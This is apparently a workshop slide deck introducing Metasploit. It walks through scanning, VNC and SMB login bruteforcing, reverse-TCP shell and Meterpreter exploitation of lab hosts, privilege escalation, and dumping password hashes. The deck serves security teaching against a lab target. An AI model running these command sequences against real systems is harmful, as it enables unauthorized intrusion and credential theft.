Metasploit 101 - DC435

Introduction to Penetration Testing

A penetration test has the following steps[1]:

- Pre-engagement Interactions
- Intelligence Gathering
- Threat Modeling
- Vulnerability Analysis
- Exploitation
- Post Exploitation
- Reporting

[1] `http://www.pentest-standard.org`. (Yes, it is `http`. Yikes!)

Metasploit Framework vs. Nmap

- Metasploit is a framework that automate repetitive tasks in the pentest steps
- Normally, when we talk about Metasploit we refer to a subproject called console.

Metasploit vs Nmap

- Nmap focuses on Intelligence Gathering, with a bit of Vulnerability Analysis and Exploitation through its scripts.
- Metasploit focuses on Exploitation and post exploitation, with a minor emphasis on Intelligence Gathering.

Terminology

Exploit	the way by which a pentests take advantage of a vulnerability.
Payload	the code we want the target system to execute.
Shellcode	set of instructions used as payload. Generally in asembly.
Module	a piece of software that can be used by Metasploit.
Listener	a component within Metasploit that waits for an incomming connection.

Framework Components

We will focus on two tools:

- **Console** interactive tool to access all the modules.
- **Meterpreter** shellcode that provides post-exploitation commands.

Other tools worth exploring are:

- **CLI** access the different modules of Metasploit from the command line.
- **Venom** shellcode generator.

Using The Console

1. Before, start the psql server:
   ```
   # service postgresql start && msfdb init
   ```
2. Start the console:
   ```
   # msfconsole
   ```
3. Access the help menu:
   ```
   msf5 > help
   ```

Intelligence Gathering

Information gethering can be either:

- **Passive** without sending any message to the target.
- **Active** sending messages to the target.

Passive Intelligence Gathering

Whois

```
msf5 > whois <domain>|<ip_address>
```

For example:

```
msf5 > whois www.google.com
msf5 > whois 8.8.8.8
```

Active Intelligence Gathering - Portscanning (1/3)

This is done using modules

1. Find the module:
   `msf5 > search <string>`
2. Select the module (we can use the tab key to autocomplete the name):
   `msf5 > use <module>`
3. Display the module's options:
   `msf5 > show options`
4. Configure a module option:
   `msf5 > set <option_name> <value>`
5. Execute the module:
   `msf5 > exploit` or `msf5 > run`
6. Show the hosts added to Metasploit's db or the ones identified in a scan:
   `msf5 > hosts <options>`
7. Leave the current module:
   `msf5 > back`

Active Intelligence Gathering - Portscanning (2/3)

1. `msf5 > search portscan`
2. `msf5 > use auxiliary/scanner/portscan/syn`
3. `msf5 > show options`
4. `msf5 > set RHOSTS 192.168.56.101` (After we have a list of hosts we can use `msf5 > hosts -R` to setup the target hosts in each module)
5. `msf5 > set INTERFACE vboxnet0`
6. `msf5 > run`
7. (optional) `msf5 > hosts`
8. `msf5 > back`

Active Intelligence Gathering - Porstscanning (3/3)

We can use `nmap` within Metasploit

```
msf5 > nmap -p- 192.168.56.101
```

Active Intelligence Gathering - Targeted Scannings

- Find the MySQL version:
  `msf5 > use auxiliary/scanner/mysql/mysql_version`
- Find the SSH version:
  `msf5 > use auxiliary/scanner/ssh/ssh_version`
- Find the FTP version:
  `msf5 > use auxiliary/scanner/ftp/ftp_version`
- Find the SMB version:
  `msf5 > use auxiliary/scanner/smb/smb_version`
- Find the telnet version:
  `msf5 > use auxiliary/scanner/telnet/telnet_version`

Active Intelligence Gathering - Vulnerability Scanning (1/2)

Goal: detect weaknesses.
Single-service vulnerabilty scanners.

- Validating SMB logins (bruteforce):
  `msf5 > use auxiliary/scanner/smb/smb_login`
- Open VNC authentication:
  `msf5 > auxiliary/scanner/vnc/vnc_none_auth`
- Open X11 Servers:
  `msf5 > auxiliary/scanner/x11/open_x11`

Active Intelligence Gathering - Vulnerability Scanning (1/2)

Bruteforce passwords with auxiliary VNC module.

1. `msf5 > auxiliary/scanner/vnc/vnc_login`
2. `msf5 > set USERNAME root`
3. `msf5 > hosts -R`
4. `msf5 > run`

NOTE: to see the whole list of auxiliary modules use `msf5 > show auxiliary`

Exploitation (1/3)

To see the list of exploitation modules type:
`msf5 > show exploits`

`msf5 > search` becomes helpful, as we can search for any string such as service name, service achronym, CVE, MS security bulletin, or fancy vulnerabilty name (like bluekeep).

Exploitation (2/3)

One example:

1. `msf5 > use exploit/linux/postgresql/postgresql_payload`
2. `msf5 > show payloads`
3. `msf5 > set payload linux/x86/shell/reverse_tcp`
4. `msf5 > show options`
5. `msf5 > set RHOST 192.168.56.101`
6. `msf5 > set LHOST 192.168.56.1`
7. `msf5 > show targets`
8. `msf5 > set TARGET 0`
9. `msf5 > run`

Get interactive shell with `python -c 'import pty; pty.spawn("/bin/bash")'`

Exploitation (3/3)

Another example:

1. `msf5 > use exploit/unix/misc/distcc_exec`
2. `msf5 > run`

Post Exploitation

There are three types of payloads:

- Portbind: it opens a port in the target and then we can connect to such port. This is generally prevented by firewalls at the target. Generally, we obtain shell access after connecting to the target port.
- Reverse shell: it open a port in our attacking system, then the target connects to our system. Generrally, we obtain shell access.
- Meterpreter: it opens a port in our attacking system, then the target connects to our system. In this case we do not obtain shell access, we obtain a Meterpreter session, which includes additional commands.

Meterpreter (1/3)

Use the following commands:

1. `msf5 > use exploit/linux/postgresql/postgresql_payload`
2. `msf5 > set payload linux/x86/meterpreter/reverse_tcp`
3. `msf5 > set RHOST 192.168.56.101`
4. `msf5 > run`

Meterpreter (1/2)

Some of the most common commands that Meterpreter has are:

- List of commands:
  `meterpreter > help`
- Obtain shell:
  `meterpreter > shell`
- Get user info:
  `meterpreter > getuid`
- Get system info:
  `meterpreter > sysinfo`

Meterpreter (3/3)

Some of the available Meterpreter scripts are:

- Check if the target is a virtual machine:
  `run post/linux/gather/checkvm`
- Get network configuration:
  `run post/linux/gather/enum_network`
- Get possible local exploits
  `run post/multi/recon/local_exploit_suggester`

Getting Admin access (1/2)

Once we obtained a session, we can execute some of the local exploits suggested by the previous script:

- `meterpreter > background`
- `msf5 > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc`
- `msf5 > set session 8` (use right session number)
- `msf5 > set LHOST 192.168.56.1`
- `msf5 > run`

Getting Admin access (2/2)

After we obtain root privileges, we can run more scripts:

- Get the password hashes:
  `meterpreter > run post/linux/gather/hashdump`

Challenge

We know there is an FTP service running in port 21 at our target. Exploit this service.

- Find the program name and version.
- Find an exploit in Metasploit.
- Configure the exploit.
- Execute the exploit.
- Profit.
- Extra credit: If not root, get root.

References

- https://www.offensive-security.com/metasploit-unleashed
- https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
- https://saiyanpentesting.com/metasploitable-vnc/
- Kennedy, David, et al. *Metasploit: the penetration tester's guide*. No Starch Press, 2011.

Extra: Analizing A Module

- Modules are written in Ruby.
- Module for vsFTP 2.3.4[2]
- Backdoor that provides unauthenticated root shell access at port 6200 after the characters `:)` are appended to any username.

[2] This is located at `https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb` or at `/usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb` in Kali Linux